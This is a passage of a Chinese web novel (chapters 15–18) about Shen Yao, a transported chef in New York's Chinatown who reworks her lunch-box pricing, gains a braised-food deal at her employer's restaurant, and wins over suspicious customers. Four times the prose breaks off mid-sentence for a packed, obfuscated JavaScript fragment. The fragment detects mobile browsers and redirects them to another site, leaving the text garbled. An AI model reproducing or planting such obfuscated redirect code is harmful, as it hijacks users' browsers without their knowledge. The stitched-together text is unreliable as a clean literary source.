“你把他们喂得太饱了，让他们误以为只要十五美刀就可以换到好吃又美味的食物。人性是贪婪的，他们不会感谢你，只会觉得你愚蠢，然后试着从你口袋里拿回他们的钱。” 换成谚语，应该就是那句：蹬鼻子上脸。 沈瑶有点生气，不止是气他们，也在气自己。 以前她当总厨的时候，只需要研究怎么做出让客人满意的菜品。 她以为只要食客吃得开心就好，现在才发现，原来赚钱好像并没有想象中那么容易…… 深吸了一口气，稍稍让情绪稳定后，沈瑶向她问道：“我现在应该怎么办？” “降价，”重新揭开一张新的纸，她继续在纸上写道，“把定价从十五美刀降到十美刀，然后减少菜品的份量和种类，增加主食的份量。” 光是列举数字还不够，露比索性用盘子里的那些食材举例子，“肉菜三盎司，素菜四盎司，主食九盎司，总共加起来差不多一磅就行。” “肉菜和素菜可以随意搭配，也可以适当地增加和减少，采取阶梯式的定价，把话语权牢牢攥在自己手里。” 露比的例子让沈瑶一下子想起了国内的盒饭。 两荤一素、两荤两素、三荤一素……菜量一定，主食不限量。 对啊，这才是她一开始最想要的效果！ 啧啧，真不愧是专业的金融系高材生，不管是发现问题还是结局问题都这么一针见血。 洗漱好后，露比开始帮沈瑶打包中午要送去施工队的盒饭。 “突然减量，他们会不会不买？”沈瑶担心道。 “我们不止减了份量，也减了价格啊，”露比一边往餐盒里盛菜，一边安慰她说，“放心，你的手艺这么好，就算他们不买单，我们也可以卖给别人。” 露比说得没错，沈瑶每天准备的菜量确实超过了二十个人的量。 打包好二十份盒饭后，每一种菜都还剩下一大半，为了不浪费，沈瑶又蒸了一锅米饭，准备把剩下的也一起打包。 这样粗略一算，同样多的食材，即使是降了三分之一的价格，她也能多赚起码一倍的钱！ “好香的炒菜啊~” 推开餐厅的门，一位穿着深色衣服的中年女人不禁感叹道。 她不是食客。 露比似乎认得她，并且知道她今天会来。 招呼着她来到靠近厨房的吧台坐下，露比给她接了一杯咖啡，“您好，虽然我们餐厅还没营业，不过您可以免费尝一尝我们的新菜。” 将手里的包放在吧台上，女人欣然地点点头。 这不是她上门的目的，不过既然有免费的美味，又何必要拒绝呢？ 回到后厨，露比把沈瑶做好的菜挑了几样盛到盘子里，同时神秘兮兮地对沈瑶说：“沈，能帮助我们的人来了。” 通过出餐口往外看了一眼，沈瑶认出了她。 女人叫张玲，也是唐人街上一家中餐厅的老板。 之前沈瑶也去她的餐厅面试过服务生，可是因为没有签证，被她拒绝了。 她？她能帮什么忙？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578436|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将盘子端到张玲面前，露比贴心地给她递上了几张餐巾纸。 张玲也是早些年移民来曼哈顿的华裔，日常售卖的是中式的家常炒菜。 可因为她的祖辈也是南方人，所以沈瑶做的那几道菜，她完全没有见过。 张玲没有用刀叉，而是用筷子夹起一根茄子咬下一小口。 簌！ 茄子看起来是炒的，实际上在炒之前用热油炸过。 表面那一层蛋液面糊炸得酥脆，里面的茄子肉却是软软的，每一口咀嚼都是软硬交替的口感。 还有表面那一层料汁，乍一闻，这不过是很普通的糖醋茄子而已，可吃起来的味道却和印象里的糖醋茄子完全不同。 有一丝丝的辣味，还有一点点的椒麻，蒜味在其中也被调和极好，有甜有麻、有酸有辣，再加上芝麻粒和花生碎的香，越吃越让人上瘾。 这味道太下饭了，要是这时候能给她一碗米饭就好了。 虽然她也是厨师，但就算给她菜谱和用料比例，她都不敢保证能做出这种味道，就像昨天她尝到的那些辣卤一样。 “你怎么来了？” 张玲还没来得及尝第二道菜，餐厅的门再次被推开了。 看到其他餐厅的老板在自己店里坐着，取下帽子时，陈晨脸上写满了疑惑，“你们店里没有东西吃了吗？” 同行即是对手，更何况陈晨靠着独家的炖汤抢了不少的客人，所以张玲也对他不太客气。 用餐巾擦了擦嘴唇，张玲从包里拿出小费交给露比后，这才表明了自己的来意：“我是来找人的，听说你们店里有一位做卤味很好吃的厨师，我想找他合作。” 卤味？ 陈晨一下就知道，她说的是沈瑶。 这时候，露比才把厨房里在盛盒饭的沈瑶请出来，“张女士，这就是你要找的人，沈瑶。刚才你吃的菜，也都是她炒的。” 张玲有些惊讶，似乎没想到，能做出一手绝味辣卤和这么好吃的炒茄子的人，会是一个二十来岁的小姑娘。 她好像对沈瑶有点印象。 嘶…… 之前她是不是来自家店里应聘临时工来着？ “你做的卤味很好吃，昨天在我们店里卖了一些，客人们的评价很高！就连不吃内脏的客人也说你做的鸡肠和鸡翅尖很美味！” 从椅子上站起来，张玲诚恳地对她说道，“请问你愿不愿意，以后在我们店里售卖你做的卤味？” 沈瑶有些懵。 她不记得给张玲的餐厅提供过卤味啊？ 不过既然她愿意帮自己卖，那沈瑶自然是乐意的。 可是不等她开口，陈晨就抢先一步替她回答道：“不好意思，她不愿意。” 快步走到她们中间，陈晨像是一座山一样，挡在了她们俩之间。 坚定地把沈瑶挡在身后，仿佛在守护一座属于自己的金矿：“沈做的卤味只会在我们店卖，请你回去吧。” 沈瑶：？？？ 什么时候的事？ 啧啧。 如果她没记错的话，上次陈晨说的可是：店里绝对不会卖这些“垃圾”啊。 16. 第 16 章 “你们店？” 张玲明显不相信他的鬼话。 随便拿起一份桌子上的菜单，撇撇嘴道：“我怎么没在菜单上看到？店里好像也没有用来放卤货的锅子啊。” 把她手中那份菜单抽出来，陈晨用手里的帽子盖在上面，“这是老菜单，今天新的菜单就会到，用来放卤货的锅子也会送来厨房。” 陈晨后悔了。 其实早在游行那天，当沈瑶做的一整锅卤货短短几个小时就卖得干干净净后，他就后悔了。 他是老板，是商人，商人哪有不喜欢钱的？ 要是沈瑶的卤货真的能为陈记带来客人，他……倒也能够容忍店里有不属于陈记特色的食物，只要沈瑶的食物能给陈记的招牌炖汤做陪衬就行。 不止是卤货，他甚至想过让沈瑶当店里的厨师。 尽管他十分不愿意承认，但沈瑶的手艺确实在他之上，做出来的菜，不管是从色香味哪个方面都要比他更出色。 之所以迟迟没有向她开口，是因为他可是陈记的老板，是个要脸面的男人。 主动开口说希望她当店里的厨师，那不是意味着要向她低头吗？ 他可做不到。 只是让他没想到的是，竟然会有其他中餐馆的老板尝过沈瑶的手艺。 等等…… 张玲的店离得可不近，沈瑶最近也几乎没有机会卖卤味，她是怎么知道沈瑶的？ 不过眼下这些都不重要，重要的是让沈瑶留下，连带着她做出来的味道，一同留下！ 店里的员工陆陆续续地来上班了，看到店里的气氛有些剑拔弩张，他们都不好插嘴。 为了让张玲彻底死心，陈晨主动让他们每个人都替自己作证：“你们说，我是不是早就跟沈商量好，让她在店里卖卤味，并且只在陈记卖了？” 众人虽然不清楚前因后果，但在店里售卖卤味，对沈瑶来说是个好事，所以大家都纷纷点头认同。 “是的，没错。” “确实是这样。” 见陈晨说得这么坚决，又有员工证明，张玲只能遗憾地叹一口气。 以为自己已经没有机会，张玲都打算离开走人了。 不曾想这个时候，一旁的露比会轻轻扯着陈晨的袖口，开口问道：“老板，如果我也会做一些美味，拿出来在店里售卖的话，是不是也可以多付我一些额外的钱？” 陈晨：？？？ 额，额外的钱？ 他刚才有说过自己要给什么额外的钱吗？什么时候说的？ 见陈晨错愕无言，露比继续追问：“沈在店里卖卤味，除了能平到利润以外，一个月大概能多拿多少钱？” 一时间，餐厅里所有人的目光都落在陈晨身上，等着他的回答。 不止是陈晨，沈瑶也懵了，“还有……额外的钱吗？” 露比笑着向她解释说：“当然，就像商店门口的自动贩卖机，每个月都要向公司支付租金的。” 陈晨：…… 要不是知道露比的情况，他都怀疑她是隔壁派来的间谍了！ 可既然她都提出来了，又有张玲这个外人在，自然不好一口否认，更不好把钱定得太低。 犹豫了好一会，陈晨才不情愿地给出了一个不那么肉疼的价格：“五百美刀，除了平分到的利润以外，沈每个月还可以拿到额外的五百美刀。” 一半的利润加上额外的五百美刀？ 沈瑶怀疑是自己的耳朵听错了。 她真的可以赚这么多吗？！ 张玲走后，沈瑶一把将露比拉到厨房的冷库，激动地问她道：“你是怎么做到的？陈竟然会愿意支付额外的钱让我在店里卖卤味，这简直太不可思议了！还有张，她是怎么知道我会做卤味的？” 露比耸耸肩，语气轻松地回答道：“很简单，都是为了钱啊~” 露比昨天看到，在沈瑶不在店里的时候，陈晨偷偷从保温桶里夹了一些卤味吃。 问了琼恩他们才知道，卤味是沈瑶做的，不允许在店里卖，但员工们可以随便吃。 这么好吃的东西不售卖，实在是太浪费了！ 想到自己吃了沈瑶做的猪油渣，还穿了她借给自己的鞋子。店里只有她们两个女生，女生之间当然要相互帮助，为了以后相处得更好，也为了表示对她的感谢，便想着帮她一个小忙。 于是，露比让乔伊把卤味偷偷送去了张玲的店里，请她帮忙售卖，赚来的钱三七分成。 能拿到七成的利润，张玲自然不会拒绝，再加上尝过卤味的味道发现确实不错，便爽快地答应了。 “你怎么知道张今天会来？”沈瑶又问。 露比微微一笑：“因为她是商人，她想赚更多的钱。” 没有人会对钱说不。 当然，露比并没有想过跟张玲合作，只是想通过张玲的到来，给陈晨增加危机感，从而来提高沈瑶的“身价”而已。 毕竟在她们最困难的时候，是陈晨收留了她们，有这样双赢的机会，当然要第一个考虑他。 但也不能让他把钱赚得太容易，否则就看不到沈瑶的价值了。 听她说了许多，沈瑶听得一愣一愣的，看向她时，眼睛里充满了对她的崇拜和敬佩。 沈瑶怎么都没想到，在自己看来无比棘手的问题，对了露比来说竟然是小菜一碟。 老天爷，她可真是个赚钱的天才！ 主动给了露比一个热情的拥抱，沈瑶由衷地感谢她道：“真是太谢谢你了，我该怎么报答你才好？” 轻轻拍着她的后背，露比温声说：“那就每天都做好吃的菜给我吃吧~” —— 中午十二点，几个穿着靓丽的白人主妇结伴走在唐人街上。 她们的步伐仓促，走路时卷起的风都带着一股忿忿的怒气。 “一定不能放过她。” “对，像这样的碧池，一定要给她一点教训！” “今天一定要让她知道，招惹有妻子的男人会落得什么样的下场！” …… 拿着手里快餐盒的一角，对照着上面“陈记”的标识，她们一家家地抬头对照着各个餐馆的招牌。 她们不是来吃饭的，是来找人算账，保卫自己岌岌可危的婚姻的。 她们的丈夫都是装修队的工人，虽然他们赚不到特别多的钱，可平淡的生活却也算得上甜蜜。 直到最近…… 他们的口味变了，不再爱吃她们拿手的苹果派、烤鸡，哪怕是精心烹饪的牛排也提不起太大的兴趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578437|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，唯独提起每天中午的员工餐会两眼放光。 后来经过打探，她们发现给商场装修的所有装修队，都订过同一家中餐馆的外卖： 陈记。 而且她们还听说，这家餐馆的饭不是有钱就能订到的，一天只有二十个名额，哪怕最近又增加了，也不过只有五十份。 听说装修队之间甚至还有人当起了黄牛，把一份十美刀的盒饭炒到了二十美刀。 呵，真当她们是傻子吗？ 哪有男人会对饭菜这么着迷，早就听说送饭的是个女人，他们肯花这么多钱，不还是冲着什么肮脏又见不得光的交易吗！ 终于，她们在一个偏僻的位置找到了这家陈记餐馆。 站在门口，她们同时深吸了一口气。 中间的苏珊是她们“家庭主妇复仇联盟”的发起者，她也是艾伦的妻子。 将手里印着“陈记”的纸片捏成一团，她阴沉沉地说道：“我先动手，你们再跟上来帮我。” “好！” 众人异口同声。 推开陈记的门，招待她们的是一个长相靓丽的女服务员。 “欢迎光临，要吃点什么？” 带着她们来到一处大的卡座，她给每个人都递了一份菜单：“我们店里新上了一些卤味，绝对是你们在其他中餐厅吃不到的味道，要尝尝吗？” 众人没有看菜单，而是上下打量着她。 她像是杂志封面上的模特，要不是那身制服，完全看不出是这里的服务生。 “长得还挺漂亮。”女人睨了她一眼，不屑地轻哼一声。 露比笑着理了下耳边的碎发，“谢谢~” 另一个女人也忿忿地皱了下眉，“你以为我们是在夸你吗？” 露比表示不解：“难道……不是吗？” “算了，”合上手里的菜单，苏珊挺直的脊梁，“听说你们这里有外送的盒饭，给我们一人来一份。” 露比有些惊讶，不过她并没有猜到她们的身份，只以为她们是靠施工队宣传来的食客。 今天她特意多留了几份，当作下午大家的员工餐，但既然她们愿意吃，那就先让给她们吧。 露比：“好，请稍等。” 几分钟后，露比端来了六只饭盒。 打开盖子，里面是蒸米饭和四样还温热的炒菜： 整条的辣椒表面有几块焦黄的虎皮斑，塞在里面的肉是腌制过的，隐约能看到一些细碎的葱花碎和芹菜碎。 那颗肉丸看着跟拳头一般大，从中间被切开成两半，比起酥黄的表面，内里却是清淡的嫩色。 最后的两个素菜她之前也从没见过，只在那一片浓重的酱汁中看到了几块白嫩的豆腐，还有一起炒过的番茄和鸡蛋，不少汤汁都洇进米饭的一角，把白色都染成了明亮的红，即使没下口，都能想象出它酸中带甜的味道。 苏珊不着急动手，而是拿起刀叉，试着尝了尝饭菜的味道。 既然要动手，总要找个合适的借口。 其他人没有吃，默默地等着她动手的信号。 一分钟过去了，她在吃。 两分钟过去了，她还在吃。 五分钟过去了…… 苏珊，你再不动手，饭菜就要被你吃完了！ 17. 第 17 章 “嘿，你真的很饿吗？” “是啊，别忘了我们今天来这里的目的，可不是为了吃饭的。” 旁边的卡伦碰了碰苏珊的手肘，提醒她今天来这里的目的。 嚼着嘴里那一口尖椒酿肉，她的眼神十分清澈，能看得出来，微辣中透着酱香的滋味已经把她的杀意融化得差不多了。 好吃，真的好吃！ 或许那些男人没有撒谎，他们真的是喜欢吃这家的中餐？ “别着急，你们……” 苏珊摇摇头，放下了手里的叉子，正当众人以为她回过神准备动手时，却不成想她又拿起勺子，舀起一大口浸满了番茄鸡蛋汁的米饭塞进嘴里，“你们也尝尝，这味道真的……嗯~！” 她不知道该怎么形容，只知道这是她从来没有吃过的味道。 香，很香。 每一道菜都像是有各自的灵魂，不仅相互之间会组合、搭配，还把最美味的那一部分融合在了一起。 青椒不止有辣味，还有肉的香、菌菇和冬笋的鲜；肥肉不会太腻，芹菜的爽口和浓稠的酱汁更突出了瘦肉部分的滑嫩…… 分明是她平常都吃过的食材，可组合在一起，再加上不同的调味料却成了从没尝过的美味。 嚼着嘴里的米饭，她又端起碗，尝一口店里免费的开胃汤。 唔，她好像明白为什么丈夫不爱吃家里的饭了。 比起这些色香味俱全的饭菜，自己的四季豆清炒胡萝卜西蓝花和奶油蘑菇通心粉，好像确实差了不止一星半点。 更何况这么大的份量才十美刀一份，不夸张的说，她要是装修队工作，绝对一天两顿都点这家的外送！ 看到苏珊那狼吞虎咽的样子，众人也不禁咽了咽口水。 虽然菜色看着确实诱人，但一想到丈夫们跟那女人的龌龊勾当…… “喔，上帝~” 试着在那半颗狮子头上咬一小口，Q弹的口感和鲜香的味道让卡伦也不由得发出一声感叹。 肥肉香而不腻、瘦肉滑而不柴，再加上一些有嚼劲的软骨碎和爽口的芹菜粒，每一次咀嚼都是舌尖和唇齿的双重享受。 感受着美食带来的强烈冲击，她的味蕾第一次感受到了前所未有的高|潮。 和苏珊对视一眼，那一刻，她似乎也理解了丈夫所追求的快感。 都说好吃的食物会带给人快乐，这话一点不假。 一口肉配上一口米，一口菜配上一口汤，她们完全沉浸在了舌尖上的美妙，肚子里的妒火很快就被压得一点不剩。 毕竟食物是无辜的，再怎么发泄也不能浪费粮食，况且话又说回来了，要是不填饱肚子怎么有力气向那女人复仇呢？ 先吃再说，吃饱了再找她讨回公道！ 经过一通风卷残云，几人盒饭里的饭菜很快就被吃了个干净。 意犹未尽地用勺子刮了刮盒子上的肉末，虽然食物把肚子喂饱了，但她们的嘴里却还是想再吃点什么。 现在得到证明的是，这里的食物是好吃的，可一看到露比那张会吸引男人的漂亮脸蛋，她们还是会觉得她使了什么肮脏的手段。 陈记离他们工作的商场距离可不近，要不是她卖弄勾引，他们怎么会知道这里的饭菜好吃呢？ 打扫着吧台的卫生，沈瑶注意到了那一双双盯在露比身上，充满恶意的目光。 “你认识她们吗？”沈瑶小声向她问道。 露比耸耸肩，“不认识。” 回头看了一眼卡座上的那几个女人，和沈瑶看到的不同，她没看到什么敌意，只看到了不少自己即将到手的小费。 “服务员。” 苏珊抬起手向露比示意道。 瞧，钱来啦~ 拿起几份菜单，露比迈着欢快地步伐再次朝她们走去，不等她们开口，就笑着把菜单递到了她们每个人的面前，“各位女士，刚才的饭菜吃得还满意吗？” 苏珊干巴巴地回道：“还好，我……” “要不要再尝尝店里新上的卤味？”不等苏珊往下说，露比就又热情地向她们推荐，“绝对正宗的华国特色，是任何中餐厅都吃不到的味道。每天限量售卖，今天这才营业两个小时就剩得已经不多了，要试一些吗？” 正宗？限量？吃不到？ 露比是会推销的，几个无法让人拒绝的形容词直接勾起了她们的食欲。 苏珊原本是想问她到底认不认识艾伦，和艾伦到底是什么关系。 但面对她的强烈推荐…… 和同行的姐妹们对视一眼，苏珊决定再次把算账的事延后：“呃，那就加一点吧。” 露比笑着拿出了点单的纸笔：“甜辣、麻辣、香辣、五香、蜜汁，想要尝试哪一种？” 除了组合在一起的甜和辣，苏珊想象不出其他的味道。 五香？蜜汁？这确实没有在其他中餐厅见到过。 苏珊：“都可以。” “要鸡还是鸭？还是素菜？”露比又问，“我的建议是，如果要辣味可以选择鸭，如果不习惯辣味的话可以选鸡，素菜的话，当然，还是辣的更入味好吃。” 苏珊：“那就每样各来一点吧。” 很快，露比端来了一只更大的圆盘子，上面摆了一圈各种味道的卤味，中间则是浇了香辣卤汁的素菜。 鸡腿和鸭腿被卤成了不同的颜色，刚从锅里捞出来，能清楚地闻到它们不同的卤香味，经过几个小时的炖煮，吸满汤汁的鸡皮已经变得软烂，鸡肉用叉子轻轻一划就能刮下许多肉丝。 中间是土豆片、豆腐皮、莲藕片、萝卜、海带结各类素菜，浇上一勺热辣的卤汁，几段鲜红的辣椒已经把味道全部浸入其中。 最后配上一碟爽口还带着冰碴的小泡菜，吃再多也不会觉得腻！ “沈。” 推开店门，卡尔叫了一声沈瑶的名字，“今天的餐准备好了吗？” “已经装好了。”放下手里的抹布，沈瑶去厨房把装好的几只袋子提了出来，“一共五十份。稍等我一下，我再给你装些腌糖蒜，正好带给他们常常。” 卡尔点点头，“好，谢谢你。” 看向沈瑶的背影，卡尔的脸上不自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580953|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉地露出一丝笑意，来到收银台旁，他把今天员工餐的尾款拿出来交给了琼恩。 “苏珊？乔安娜？卡伦？” 说来也巧，卡尔一眼就注意到了苏珊他们。 虽然他和艾伦他们不算特别熟的朋友，但之前也偶然见过她们几次。 “好巧，你们也来陈记吃饭啊。” 苏珊被那一只鸭腿辣得直吸气，她说不出来，只是勉强点点头回应。 她也没想到，初入口时带着丝丝甜味的鸭肉后劲儿会这么辣，从舌尖到喉咙都是又麻又辣的感觉。 这是一种痛和快乐交织的味道，虽然辣得她说不出话，可这香味却会让她忍不住继续咬一大口。 看到卡尔完全没有一丝愧疚，几个人的脸上都露出了不悦的情绪，可嘴里实在是太辣，缓了好半天都没能说出一句完整的话。 卡尔：“沈的卤味做得很好吃，我们经常会点。” “斯哈斯哈，你跟她，斯哈斯哈，很熟吗？”苏珊喝了一口水，暂时压了压嘴里的辣味。 卡尔点点头，“当然，我们的关系很好，我可是第一个吃到沈做的中餐的人。” 相互对视一眼，几人默默地收起了蠢蠢欲动的敌意。 原来是她们搞错了。 做饭的不是那个漂亮的白人服务员。 再次看向在吧台附近的沈瑶，她们不禁庆幸，进门的第一时间没有对露比下手。 而且…… “那你和那个女服务员……真的只是朋友关系吗？”卡伦意味深长地用手里的鸡爪指了指他。 扭头又看了一眼厨房的方向，卡尔的脸有些红了：“当然！” 卡尔害羞了。 装修队的其他人和沈瑶关系近，她们都会担心，唯独卡尔不会。 因为卡尔是单身，两个单身的人越走越近，其他人有什么资格反对呢？ “Woo~” 众人坏笑道。 看来今天来这里真是来对了，不仅弄清了误会，还知道了关于卡尔的八卦，更重要的是，吃到了很好吃很好吃的中餐！ 接过沈瑶从厨房拿出来的饭菜，卡尔没有过多停留，赶在她们起哄前就赶紧离开了。 不过其实是他想错了，因为她们根本就没打算起哄。 “小姐？” 放下手里的鸭腿，比起刚进门时，她们的态度变得更加温和了，笑容也更加真诚。 沈瑶：“你好，有什么可以帮忙的吗？” 推了一下面前早就吃空的饭盒，苏珊问道：“听说你们店有这样打包好的中餐出售，请问我们也可以订吗？” “可以是可以，不过……”沈瑶为难地笑笑，“我一天只会准备五十份，最近一周的都订完了，可能你们要等到下周了。” “把他们的让给我们吧。”卡伦提议道。 “是啊，”乔安娜点点头，跟着附和，“其实我是麦克的妻子，而且我们都是装修队的家属，把他们的饭让给我们，他们一定不会拒绝的。” “我们也愿意额外加钱，一份十五美刀可以吗？” 18. 第 18 章 苏珊她们成了店里的常客，几乎每天都要来陈记吃饭。 丈夫们白天出去工作，她们独自在家做饭也麻烦，索性几个人一起来点几样炒菜，一边吃一边打发无聊的时光。 “沈，你的脑子到底是什么做的？感觉里面装了好多稀奇古怪的菜谱。” 吃着盘子里的那一张“中式披萨”，苏珊不禁咋舌感叹道。 同样的食材，经过她的一番烹饪，总能做出她们从来没有尝过的味道。 就拿今天的这张番茄披萨来说吧，瞧着也是用面粉做的，再撒上一点红色的酱、绿色的香草叶，可味道却和烤出来的披萨完全不同。 簌！ 一口咬下去，葱油的香气瞬间在口中炸开，细细咀嚼，酸甜咸辣的滋味也并不像看起来那样是单一的番茄味道。 “让我猜猜，这里面没有用番茄酱，也没有放罗勒叶。” 卡伦学着美食评论家那样有模有样地品了品，可除了不是番茄味外，她也说不出个所以然来。 众人：…… 这还用你说啊。 沈瑶给她端来一盘卤味，笑着解释道：“这个不是披萨，是我们国家的一种特色面食，叫酱香饼，用的是一种特调的甜面酱。” 乔安娜把那一片饼整个塞进嘴里，然后用纸巾擦了擦手，“嗯，味道确实比快餐店的披萨要好吃。” 她是不爱吃葱的，一开始看到饼上撒着葱碎，一层层的面饼里也有葱，她还会特意地一点点挑出来，可当她吃了一口以后才发现，葱的味道是酱香饼的点睛之笔。 她确实是不吃葱的，酱香饼里的葱除外。 苏珊把手里的酱香饼卷了卷，忽然突发奇想，蘸了一点盘子里的卤汁。 外酥里嫩的饼快速吸收着微辣的汁，除了本身的酱香外，又增加了另外一股浓浓的肉香，再往里面加一点土豆片和海带丝，还有剔掉骨头的整个鸡腿。 一口咬下去……天呐，她可真是个美食天才！ “沈，你的手艺这么好，只是当一个服务员太可惜了。”苏珊一边感叹自己的创造力，一边替沈瑶感到惋惜，“你怎么不自己开个店呢？” “是啊。” 在说陈晨坏话的时候，卡伦特意往厨房的方向瞟了一眼，同时压低了声音，“你做的菜可比陈做的好吃多了，你要开店，客人一定会从店门口排到西海岸的。” 开店？ 其实当她还是二十一世纪的沈瑶时，她就在做这个梦。 沈瑶小时候，家里是开早餐店的，她一直希望长大后能让自家只有五平方的小摊，变成一家全国连锁的早餐店。 在十几岁的时候，她因缘际会拜了国宴大师为师父，跟在他身边学了不少做菜的手艺。 出师、考证、比赛、成为国家大饭店的行政总厨……她站得位置越来越高，可距离她儿时的梦想也越来越远。 后来，她下定决心准备辞职开一家自己的餐厅，好巧不巧，她又穿越来了美利坚。 沈瑶叹了一口气：“以后吧，如果有机会的话，我一定会开一家自己的餐厅。” 现在她的口袋里就只有小几千刀而已，开一家餐厅，少说也得上万美刀吧？ 算了，还是等她拿到留下来的签证后，再慢慢一点点打工攒钱。 其实现在当服务员挺好，只是累了一点而已，可要说收入的话，算上当服务员的底薪，最近每天差不多都能赚二百美刀左右。 可惜商场那边的装修工程结束了，那段时间她最高记录可是突破了一天四百美刀呢！ 不急，按照这个速度，应该过上小半年她就能攒够开店的本钱了。 “加油，你一定可以。” “我们都相信你！” 琼恩今天又来晚了。 收完餐钱和小费后，大家只能暂时把钱交给露比，让她来记账。 毕竟是哥大的金融系高材生，店里任谁的算账速度都没有她快。 哦，不对，除了沈瑶。 见露比一个人有点忙不过来，沈瑶就想着帮帮她的忙，可刚收两笔钱她就有点无语了。 “一共二十六美刀，收了四十美刀。” “你再找他要一美刀，我给他找十五美刀。” “？？？为什么还要一美刀？” “凑整啊，这样找钱更方便一点。” 他们的算数习惯跟自己不太一样。 四十减二十六的问题，他们本能会得出十四的答案，但是基于沈瑶的习惯，她会把四十减二十六变成四十一减二十六，这样就能得到一个十五的整数。 方便是方便，但服务员还是不太能接受，所以还是会把钱给露比。 临近下午一点，店里的客人逐渐变少后，才透过玻璃看到琼恩戴着他那顶深色的帽子姗姗来迟。 “琼恩，你迟到了。” 琼恩刚进门，陈晨就指了指手腕上的表，提醒他道：“晚了两个小时，今天要扣除你两个小时的工资。” 听到他要扣自己工资，琼恩一点都不着急，而是神秘兮兮道：“附近有一家店出大事了！” 八卦？ 吃瓜是人类刻在骨子里的天性，一听说出事了，陈晨也不继续说扣钱的事了，而是追问道：“哪家店？什么事？” 琼恩今天来得晚，也不全是因为睡过头了，更重要的是目睹了一个劲爆的八卦！ “在隔壁街的一个店里，有一对情侣去世了！” 琼恩说的店是一家贩卖一些手工作品的礼品店，自|鲨的情侣是礼品店的店主。 乍一听是个很浪漫的故事，但实际的情况是，店主两人染了药瘾，注射的时候用量过度，一下子就没了命。 警方发现的时候，男方已经没了，女方也被送去了医院，琼恩是在听那家店附近的店主闲聊，这才耽误了来店里上班的时间。 在表示遗憾的同时，沈瑶不解地问：“不理解，为什么会有人用这种东西来伤害自己的身体。” “可能是为了快乐，”露比解释说，“不止是会吸X，学校里也会有人因为压力太大，偷偷吃一些处方药。” 听她这么一说，沈瑶更纳闷了。 既然一定要伤害自己，那干脆吃点没炒熟的见手青就好了嘛，同样是中毒后会出现幻觉，起码味道不错。 见手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584001|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青经过高温烹炸后，再放一点蒜片、干辣椒和青椒片大火翻炒，不用再放其他的食材，都能吃到比肉还要鲜美的滋味…… 那句话怎么说来着？ 对，死也得做个饱死鬼！ —— 下午休息的时间，趁着店里没什么客人，沈瑶和露比外出准备去买些取暖的东西。 天气一天比一天冷，前两天还下了一场大雪，仓库一到晚上就跟冰窖一样。 再加上她们没有床垫，只有薄薄的一层褥子铺在地上，盖一床被子的话根本就不保暖，就算店里一直开着暖气，紧挨着冷库的仓库也始终都是冷飕飕的。 所以她们打算买一个二手的木柴炉，解决冬天的取暖问题。 唐人街的二手店不少，不用费力跑得太远。 琼恩说的那家礼品店就是这条街上的，说来也巧，她们要去的那家二手店，距离围着封条的礼品店就只有几十米的距离。 警察已经走了，只有附近的几个店主聚在不远处聊着这出惨案。 礼品店的店面不大，那一排都是只有五六十平的小店。 买完木柴炉，她们从礼品店前经过时，透过那层玻璃，可以清楚地看到店里的情况：门口是一个木质柜台，里面放着几张桌子，上面摆满了售卖的手工饰品，靠墙的木架子上有很多毛绒玩具，都是手工做的，整体看来，就像是一个塞满了豆子的玻璃罐头。 这家店不知道开了多久，看着有些破旧，招牌也有些掉色，平常应该很少会有人进去购物，否则门口也不会挂着转租的牌子。 可惜的是，店还没租出去，店主两个人就…… “七千？”看到转租牌上的租金，沈瑶惊讶道，“这么小的店面，一个月竟然要七千美刀！” 唐人街的店面一次性起码要交三个月的租金，也就是两万一美刀。 沈瑶低估了开一家店的投入。 照这个租金来比较的话，即使想开一家像陈记那样的普通餐馆，起码也要先准备四五万的租金，这还不算装修之类的费用。 唔……这么看来，她还要再多当几年的服务员才行。 但要是退一步来说的话，其实五十多平也是够的，毕竟家里曾经的早餐店只有五平米。 五十平米，够存放她的梦想了。 露比也扭头看了一眼，说：“之前是七千，应该会下降百分之七十或者百分之八十。” “这么多？” 